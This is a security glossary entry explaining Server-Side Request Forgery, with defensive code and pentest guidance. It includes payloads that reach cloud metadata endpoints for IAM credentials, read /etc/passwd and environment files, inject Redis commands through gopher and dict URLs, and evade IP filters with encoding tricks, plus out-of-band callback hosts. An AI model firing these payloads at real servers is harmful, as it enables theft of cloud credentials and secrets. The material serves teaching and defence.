Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Web-Sicherheit Glossary

SSRF - Server-Side Request Forgery

Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker forces the server to send HTTP requests to internal or external resources that the attacker cannot directly access. SSRF can be used to attack cloud metadata APIs (AWS IMDSv1: 169.254.169.254), internal microservices, databases, and admin interfaces. SSRF ranks 10th on the OWASP Top 10 2021 (A10:2021) and is a common attack vector in cloud environments.

SSRF turns a server into a proxy for attackers—and becomes more dangerous the more cloud services are running behind the server. In AWS, an SSRF vulnerability can lead to the complete compromise of the entire AWS infrastructure if the EC2 Instance Metadata Service (IMDS) is configured without IMDSv2. In 2019, Capital One lost over 100 million customer records due to an SSRF vulnerability in a WAF—one of the most costly SSRF attacks in history.

Basic Principle of SSRF

Normal Request Flow:

Browser → Web App (example.com/fetch?url=https://legitime-seite.de) → legitimate-site.com → Response to Browser

SSRF Attack:

Attacker → Web app (example.com/fetch?url=http://169.254.169.254/latest/meta-data/) → AWS IMDS (internal service, not accessible externally!) → Response with IAM credentials sent to attacker!

Why does this work?

  • Server trusts itself more than external clients
  • Server has access to internal networks (localhost, 10.x, 172.16.x)
  • Cloud IMDS is accessible to EC2 instances, not to external users
  • Firewalls protect external → internal traffic is often "trusted"

Typical SSRF parameters in web apps:

url=, uri=, path=, src=, dest=, image=, href=, redirect=, target=, continue=, proxy=, return=, feed=, open=, file=, callback=, webhook=, next=, data=, window=, to=, out=

SSRF against cloud metadata

AWS IMDSv1 (dangerous! - no token required)

GET http://169.254.169.254/latest/meta-data/
→ list available metadata

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ finds the IAM role name
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
→ returns TEMPORARY AWS CREDENTIALS!
{
  "Code" : "Success",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...",
  "SecretAccessKey" : "abc123...",
  "Token" : "FQoGZXIvYXd...",
  "Expiration" : "2026-03-04T12:00:00Z"
}
→ An attacker can act as an EC2 role!

AWS IMDSv2 (protected - token required)

# First, retrieve the token (PUT request - browser cannot send a PUT directly):
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Token is returned

# Then retrieve metadata using the token:
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token:<token>

# SSRF protection: An attacker cannot simply generate the token!
# (Requires a direct network connection to the instance)

GCP (Google Cloud) Metadata Server

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Header: Metadata-Flavor: Google
→ OAuth token for GCP services

Azure IMDS

GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
→ Instance information, managed identity tokens

Other internal targets

http://localhost/admin              → Local admin interfaces
http://10.0.0.1/                   → Internal servers
http://172.16.0.1/                 → Management interfaces
http://192.168.1.1/                → Routers/switches
http://elasticsearch:9200/_cat/indices  → Elasticsearch data
http://redis:6379/                 → Redis (via gopher://)
dict://redis:6379/KEYS *           → Redis SSRF via DICT

SSRF Types

Basic SSRF (direct response)

  • Server sends request and returns response
  • Attacker sees direct response
  • Identifiable by: URL parameters of the external resource being loaded

Blind SSRF (no direct response)

  • Server makes request but does not return a response
  • Only side effects are detectable (DNS lookup, timing, error messages)
  • Proof: use own server as target (Burp Collaborator, interactsh)
# Proof with Burp Collaborator:
fetch?url=http://xyz.burpcollaborator.net/ssrf-test
# → When Collaborator receives DNS request: Blind SSRF confirmed!

# Open-source alternative: interactsh
fetch?url=http://UNIQUE_ID.oast.fun/test
# → interactsh-client registers the inbound request

SSRF via Redirect

# Attacker&#x27;s server redirects to internal target:
GET /redirect → HTTP 302 Location: http://169.254.169.254/latest/meta-data/
# → If app follows redirect: SSRF via open redirect chain

SSRF via DNS Rebinding

# Step 1: DNS for attacker.com returns public IP (bypasses SSRF filter)
# Step 2: App makes second request – DNS now returns 169.254.169.254!
# → Time-of-Check-Time-of-Use attack

File URI SSRF

fetch?url=file:///etc/passwd          → read local files
fetch?url=file:///proc/self/environ   → environment variables (API keys!)

SSRF via various protocols

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0a  → Redis command injection
dict://127.0.0.1:6379/AUTH:password        → Redis auth bypass
ftp://127.0.0.1:21/                        → Internal FTP server
ldap://127.0.0.1:389/                      → Internal LDAP server

SSRF bypass of filters

Bypass IP address filters

MethodExample
Octal Notation169.254.169.2540251.0376.0251.0376
Hexadecimal169.254.169.2540xa9fea9fe
Decimal (Long Integer)169.254.169.2542852039166
Mixed Notationhttp://0177.0.0x01/127.0.0.1
IPv6 loopbackhttp://[::1]/admin

DNS resolution to internal IPs

http://169.254.169.254.nip.io/   → resolves to 169.254.169.254
http://localtest.me/              → resolves to 127.0.0.1

Domain with internal A record

# Register your own domain with an A record pointing to 169.254.169.254
http://evil.attacker.com/meta  → resolves to 169.254.169.254

URL encoding and path traversal

http://127.0.0.1/ → http://127%2e0%2e0%2e1/
http://127.0.0.1/admin → http://127.0.0.1/%61dmin
http://legitime-site.de@169.254.169.254/  → Authority parsing difference
http://169.254.169.254#legitime-site.de

SSRF Protection Measures

1. Whitelist Instead of Blacklist

# DO NOT: Blacklist of IPs/Domains (too easy to bypass!)
# GOOD: Whitelist of allowed targets

ALLOWED_DOMAINS = [&#x27;api.example.com&#x27;, &#x27;cdn.example.com&#x27;]

def safe_fetch(url: str) -&gt; str:
    parsed = urllib.parse.urlparse(url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError(f&quot;Domain {parsed.hostname} not allowed&quot;)
    if parsed.scheme not in [&#x27;http&#x27;, &#x27;https&#x27;]:
        raise ValueError(&quot;Only HTTP/HTTPS allowed&quot;)
    response = requests.get(url, timeout=5, allow_redirects=False)
    return response.text

2. Disable redirects

# Python requests: allow_redirects=False
# Node.js: redirect: &#x27;manual&#x27; in fetch
# → Prevents SSRF via redirect chains

3. Check DNS resolution against allowlist

# DO NOT check hostname only – check IP after DNS resolution!
import socket
ip = socket.gethostbyname(parsed.hostname)
if ipaddress.ip_address(ip).is_private:
    raise ValueError(&quot;Private IP not allowed!&quot;)

4. Network-level protection

# Enforce AWS IMDSv2 (token-based):
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxx \
  --http-tokens required \   # Enforce IMDSv2!
  --http-endpoint enabled

# Completely disable instance metadata if not needed:
aws ec2 modify-instance-metadata-options \
  --instance-id i-xxx \
  --http-endpoint disabled
# Network Policy: Outbound connections from app containers:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
spec:
  podSelector:
    matchLabels:
      app: web
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.0.0/16    # Block AWS IMDS
        - 10.0.0.0/8        # Block internal networks
        - 172.16.0.0/12
        - 192.168.0.0/16

5. Webhook Validation

def validate_webhook_url(url: str) -&gt; bool:
    &quot;&quot;&quot;DNS Pre-Check + Async Validation&quot;&quot;&quot;
    parsed = urllib.parse.urlparse(url)
    # 1. No Private IPs
    try:
        ip = socket.gethostbyname(parsed.hostname)
        if ipaddress.ip_address(ip).is_private:
            return False
    except socket.gaierror:
        return False
    # 2. HTTPS Only for External Webhooks
    return parsed.scheme == &#x27;https&#x27;

SSRF Testing in Penetration Testing

Burp Suite Pro

  • Burp Collaborator: Out-of-band detection for Blind SSRF
  • Burp Scanner: Automatic SSRF detection
  • Passive Scan: Detects potential SSRF parameters

interactsh (Open Source)

# Start server:
interactsh-server -domain oast.fun -ip 1.2.3.4

# Use client:
interactsh-client
&gt; USE xyz.oast.fun  # Generate unique ID

# In the test:
fetch?url=http://xyz.oast.fun/ssrf-test
# → Client displays incoming request: IP, headers, payload

Nuclei SSRF Templates

nuclei -t nuclei-templates/vulnerabilities/ssrf/ -u https://target.com
# → Automated SSRF detection with DNS callback

Testing SSRF Payloads

# Cloud Metadata:
fetch?url=http://169.254.169.254/latest/meta-data/
fetch?url=http://metadata.google.internal/
fetch?url=http://169.254.169.254/metadata/instance

# Blind SSRF with timing:
fetch?url=http://10.0.0.1:22/  → SSH port (slow response = port open?)
fetch?url=http://10.0.0.1:80/  → HTTP port

# Out-of-Band (DNS):
fetch?url=http://COLLABORATOR.burpcollaborator.net/
```</token>